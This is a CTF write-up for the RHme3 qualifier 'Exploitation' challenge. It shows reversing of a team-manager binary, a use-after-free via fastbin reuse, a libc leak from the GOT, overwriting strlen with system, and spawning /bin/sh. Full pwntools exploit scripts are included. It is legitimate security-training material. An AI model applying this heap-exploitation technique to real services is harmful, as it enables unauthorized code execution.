Post

RHme3 Qualifiers: Exploitation

The Exploitation challenge was the first of the three RHme3 qualification challenges that I manage to solve. As one would expect this was the challs that was solved the most, probably because the majority of CTF players feel more comfortable with exploitation tasks.

So, let’s take a look at the actual challenge:

Challenge screenshot

After downloading the binary from the website the first thing I did was running it and the result was….nothing! The program didn’t seem to work.

If we analyze the executable it turns out that the program performs an initialization based on some machine-specific parameters.

1
2
3
4
5
$ ltrace ./main.elf
__libc_start_main(0x4021a1, 1, 0x7ffc32c7b658, 0x4022c0 <unfinished ...>
getpwnam("pwn")                                                        = 0
exit(1 <no return ...>
+++ exited (status 1) +++

That’s why it will refuse to work correctly out of the right environment. After a further analysis we can try to guess what the program is trying to do: basically it creates a server that listens on port 1337 (see function serve_forever).

Once the port is known one could connect to the server and see what the program was about. Yet, when I did this challenge I thought it would be nice if I could run it directly on my computer…so, what about just patching the binary by writing a jmp instruction in order to skip all the initialization ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    0x004021a1      55             push rbp
    0x004021a2      4889e5         mov rbp, rsp
    0x004021a5      4883ec10       sub rsp, 0x10
    0x004021a9      c645f700       mov byte [rbp - 9], 0
    0x004021ad      bf18264000     mov edi, 0x402618
,=< 0x004021b2      eb1a           jmp 0x4021ce             
|   0x004021b4      ee             out dx, al
|   0x004021b5      ff             invalid
|   0x004021b6      ff             invalid
|   0x004021b7      bf39050000     mov edi, 0x539
|   0x004021bc      e85eefffff     call sym.serve_forever    
|   0x004021c1      8945f8         mov dword [rbp - 8], eax
|   0x004021c4      8b45f8         mov eax, dword [rbp - 8]
|   0x004021c7      89c7           mov edi, eax
|   0x004021c9      e8c6f0ffff     call sym.set_io            
`-> 0x004021ce      488b058b0f20.  mov rax, qword obj.stdout   
    0x004021d5      be00000000     mov esi, 0
    0x004021da      4889c7         mov rdi, rax
    0x004021dd      e8eeeaffff     call sym.imp.setbuf     
    0x004021e2      bf20264000     mov edi, str.Welcome_to_your_TeamManager__TM__ ; 0x402620 
    0x004021e7      e894eaffff     call sym.imp.puts  

That’s what I did and it turned out to work perfectly :)

Once we run the program, we are shown a menu with seven different choices.

1
2
3
4
5
6
7
8
9
10
$ ./main.elf
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

Playing a bit around we can notice an interesting bug: if we remove the selected player we are still able to show that player (i.e. the player is still selected):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$ ./main.elf.patched
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 1
Found free slot: 0
Enter player name: AAAA
Enter attack points: 31
Enter defense points: 31
Enter speed: 31
Enter precision: 31
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 3
Enter index: 0
Player selected!
        Name: AAAA
        A/D/S/P: 31,31,31,31
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 2
Enter index: 0
She's gone!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 5
        Name:
        A/D/S/P: 22704160,0,31,31
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

As you can see the player AAAA is still selected even if it has actually been removed. Well, some weird values have been written into memory at the address of AAAA, but this is due to way how the heap works and in particularly how free handles the blocks.

So, it looks like we are in front of a use after free vulnerability!

The logic behind UAF bugs exploitation is pretty simple: a memory address is still in use even tough it has been freed, therefore if we are somehow able to control the content of the memory pointed by that address we can trick the program into doing some nasty operations using that illegitimate data.

In our case we have an address pointing to a freed player entity. After a bit of reversing, we can see that a player looks more or less like this:

1
2
3
4
5
6
7
struct player {
    int32_t attack;
    int32_t defense;
    int32_t speed;
    int32_t precision;
    char* name; 
}

If we find a way to control the content of the freed block pointed by the selected player, we could craft a value for name so that when we edit the selected player we can actually write to a custom address of the program.

First of all lets write some handy functions to interact with the program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

# Run process
context(arch = 'amd64', os = 'linux', bits=64)
#r = remote('pwn.rhme.riscure.com','1337')
r = process(['./main.elf.patched'])

def add_player(name):
    r.sendline("1")
    r.sendline(name)
    r.sendline("1")
    r.sendline("1")
    r.sendline("1")
    r.sendline("1")

def rm_player(i):
    r.sendline("2")
    r.sendline(str(i))

def select_player(i):
    r.sendline("3")
    r.sendline(str(i))

def edit_name(name):
    r.sendline("4")
    r.sendline("1")
    r.sendline(name)
    r.sendline("0")

Every time we create a new player the program will allocate memory for the name: if we can make the program allocate the name at the same address of the selected player we’re all set.

This is probably a good occasion for reviewing the internals of malloc. According to the specifications, freed chunks small enough are stored in size-specific bins called “fastbins”. In general, those chunks are reused only for allocations of the same size. Every time we free a fastbin chunk this last is added on top of the list of the free chunks having the same size, and every time a fastbin free chunk is reused it is picked from the top of the list: this means they are reused at the inverse order of freeing.

Going back to our case: each player is 0x18 bytes big and will be allocated as a fastbin chunk. In order to reuse a freed player we need the name to be a chunk of the same size1 and we need to remember that chunks are reused at the inverse order of freeing.

1: The name could actually be even smaller, indeed: given that the minimum size of a chunk is 4*size(void*) = 0x20, every chunk smaller or equal to 0x18 bytes will fall on the same fastbin.

There are several ways we could make the program allocate the name at the exact same address of the freed selected player, here is how I did it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
                 1 - We create two players and make sure that at least one of them
                     has a name bigger than sizeof(struct player). After that we
                     can select the first one:

                     add_player('A' * (0x18-1))  # sizeof(struct player) - 1 null byte
                     add_player('A' * 0xaa)      # 0xaa is just a custom big value >= 0x18
                     select_player(0)

                 +---------------+---------------+----------------+
                 |               |               |                |
    +----------> | Player0       | Player0.name  | Player1        |
    |            +---------------+---------------+----------------+
    |
    |            2 - Now let's free everything: 
    |               rm_player(0)
    |               rm_player(1)
    |
    |            +---------------+---------------+----------------+
                 |               |               |                |
Selected ------> | #2 Free       | #1 Free       | #3 Free        |
                 +---------------+---------------+----------------+
    |
    |            3 - And finally add one last player:
    |                add_player('A'*0x10 + some_address)
    |
    |            +---------------+---------------+----------------+
    +----------> |               |               |                |
                 | Player0.name  | #1 Free       | Player0        |
                 +---------------+---------------+----------------+

As you can see, this method let us overwrite the content of the selected player and in particular the pointer to its name. Once we have done it, if we edit the name of the selected player we will be writing at that address. That’s pretty cool, we are now able to write anything anywhere…

So, next question is: what and where do we write in order to change the flow of the program? Unfortunately we don’t know where most of the things are…damn ASLR! So we can check which parts aren’t subject to aslr and have write permission:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ rabin2 -I main.elf | grep pic
pic      false
$ rabin2 -S main.elf | grep "perm=.*w.* "
idx=19 vaddr=0x00602e10 paddr=0x00002e10 sz=8 vsz=8 perm=--rw- name=.init_array
idx=20 vaddr=0x00602e18 paddr=0x00002e18 sz=8 vsz=8 perm=--rw- name=.fini_array
idx=21 vaddr=0x00602e20 paddr=0x00002e20 sz=8 vsz=8 perm=--rw- name=.jcr
idx=22 vaddr=0x00602e28 paddr=0x00002e28 sz=464 vsz=464 perm=--rw- name=.dynamic
idx=23 vaddr=0x00602ff8 paddr=0x00002ff8 sz=8 vsz=8 perm=--rw- name=.got
idx=24 vaddr=0x00603000 paddr=0x00003000 sz=328 vsz=328 perm=--rw- name=.got.plt
idx=25 vaddr=0x00603148 paddr=0x00003148 sz=16 vsz=16 perm=--rw- name=.data
idx=26 vaddr=0x00603160 paddr=0x00003158 sz=120 vsz=120 perm=--rw- name=.bss
idx=34 vaddr=0x00602e10 paddr=0x00002e10 sz=840 vsz=968 perm=m-rw- name=LOAD1
idx=35 vaddr=0x00602e28 paddr=0x00002e28 sz=464 vsz=464 perm=m-rw- name=DYNAMIC
idx=38 vaddr=0x00000000 paddr=0x00000000 sz=0 vsz=0 perm=m-rw- name=GNU_STACK
idx=40 vaddr=0x00400000 paddr=0x00000000 sz=64 vsz=64 perm=m-rw- name=ehdr

Well… overwriting some function entry in the GOT seems to be the easiest way so far, furthermore the libc that was given is a clear hint in that direction. For example, we could overwrite some entry in the GOT with the address of the function system.

1
2
3
4
5
6
7
8
9
$ rabin2 -R main.elf
[Relocations]
...
vaddr=0x00603030 paddr=0x00003030 type=SET_64 puts
vaddr=0x00603038 paddr=0x00003038 type=SET_64 setsockopt
vaddr=0x00603040 paddr=0x00003040 type=SET_64 strlen
vaddr=0x00603048 paddr=0x00003048 type=SET_64 chdir
vaddr=0x00603050 paddr=0x00003050 type=SET_64 __stack_chk_fail
...

strlen seems to be a perfect candidate: its first (and only) argument is a string and it gets called at different points of the program (ex. function set_name) with an input from the user.

We don’t know the address of system but we can calculate it if we know at what address the libc was loaded. For this we will need to leak some libc-related address: the one of strlen for example. We can do that by just showing the selected player’s name, which now points to the strlen GOT’s entry.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ADDR_RELOC_STRLEN = pack(0x00603040)

# Craft first player
add_player('A' * (0x18-1))  # sizeof(struct player) - 1 null byte
add_player('A' * 0xaa)      # 0xaa is just a custom big value
select_player(0)
rm_player(0)
rm_player(1)
add_player('A'*0x10 + ADDR_RELOC_STRLEN[:-1]) # We don't actually need the [:-1] as the 
                                              # address contains already few null bytes at
                                              # the end, but I left it as a reminder.

# Get the address of strlen
r.clean(1)                  # clean the input buffer
r.sendline("5")             # show player
r.recvuntil("Name: ")
leak = r.recvuntil("\n")[:-1]

Now let’s calculate the offset from system.

1
2
3
4
5
$ objdump -T libc.so.6 | egrep " system| strlen"
000000000008b720 g    DF .text  000000000000019c  GLIBC_2.2.5 strlen
0000000000045390  w   DF .text  000000000000002d  GLIBC_2.2.5 system
$ printf "0x%x\n" $((0x8b720-0x45390))
0x46390

Now we can finally calculate the address of system, overwrite the GOT entry of strlen and call the function system instead of strlen when we are editing a name:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Calculate the address of system
leak += '\x00' * (8-len(leak))      
addr_system = unpack(leak) - 0x46390
log.info("Address system: 0x%x" % addr_system)

# Overwrite the reloc of strlen
edit_name(pack(addr_system)[:-1])

# Call the function system
edit_name("/bin/sh")
r.clean(1)

# Enjoy
r.interactive()

And…get the flag:

1
2
3
4
5
6
7
8
9
$ python exploit.py
[+] Opening connection to pwn.rhme.riscure.com on port 1337: Done
[*] Address system: 0x7f53c27d7390
[*] Switching to interactive mode
$ ls
flag
main.elf
$ cat flag
RHME3{h3ap_0f_tr0uble?}

Here is the complete script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

# Run process
context(arch = 'amd64', os = 'linux', bits=64)
#r = remote('pwn.rhme.riscure.com','1337')
r = process(['./main.elf.patched'])

def add_player(name):
    r.sendline("1")
    r.sendline(name)
    r.sendline("1")
    r.sendline("1")
    r.sendline("1")
    r.sendline("1")

def rm_player(i):
    r.sendline("2")
    r.sendline(str(i))

def select_player(i):
    r.sendline("3")
    r.sendline(str(i))

def edit_name(name):
    r.sendline("4")
    r.sendline("1")
    r.sendline(name)
    r.sendline("0")



ADDR_RELOC_STRLEN = pack(0x00603040)

# Craft first player
add_player('A' * (0x18-1))  # sizeof(struct player) - 1 null byte
add_player('A' * 0xaa)      # 0xaa is just a custom big value
select_player(0)
rm_player(0)
rm_player(1)
add_player('A'*0x10 + ADDR_RELOC_STRLEN[:-1]) # We don't actually need the [:-1] as the 
                                              # address contains already few null bytes at
                                              # the end, but I left it as a reminder.

# Get the address of strlen
r.clean(1)                  # clean the input buffer
r.sendline("5")             # show player
r.recvuntil("Name: ")
leak = r.recvuntil("\n")[:-1]
# Calculate the address of system
leak += '\x00' * (8-len(leak))      
addr_system = unpack(leak) - 0x46390
log.info("Address system: 0x%x" % addr_system)

# Overwrite the reloc of strlen
edit_name(pack(addr_system)[:-1])

# Call the function system
edit_name("/bin/sh")
r.clean(1)

# Enjoy
r.interactive()

NOTE:

When we leak the address of strlen it could happen that the latter contains some internal null byte, in this case the previous exploit would fail because printf would show only a partial address.

Another, a bit more complicate, approach consist in using the other properties of a player, which will be displayed as ints, in order to leak the address of strlen…actually this is quite useless as the previous exploit works correctly most of the times, but here is an example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import ctypes

...

ADDR_PLAYERS = pack(0x00603180)
ADDR_RELOC_STRLEN = pack(0x00603040)

# Craft first player
add_player('A' * (0x18-1)) 
add_player('A' * 0xaa)    
select_player(0)
rm_player(0)
rm_player(1)
add_player('A'*0x10 + ADDR_PLAYERS[:-1])

# Overwrite first entry obj.players
edit_name(ADDR_RELOC_STRLEN)

# Get address of strlen
r.clean(1)
r.sendline("6") # Show team
r.recvuntil("A/D/S/P:")
leak1 = int(r.recvuntil(",")[:-1])
leak2 = int(r.recvuntil(",")[:-1])
if leak1 < 0:
    leak1 = ctypes.c_uint32(leak1).value

# Compute addr of system
addr_strlen = leak2*0x100000000 + leak1
addr_system = addr_strlen - 0x46390 

# Craft second player
add_player('A' * (0x18-1)) 
add_player('A' * 0xaa)
select_player(1)
rm_player(1)
rm_player(2)
add_player('A'*0x10 + ADDR_RELOC_STRLEN[:-1])

# Overwrite the reloc of strlen
edit_name(pack(addr_system))

# Call the function system
edit_name("/bin/sh")
r.clean(1)

# Enjoy
r.interactive()
This post is licensed under CC BY 4.0 by the author.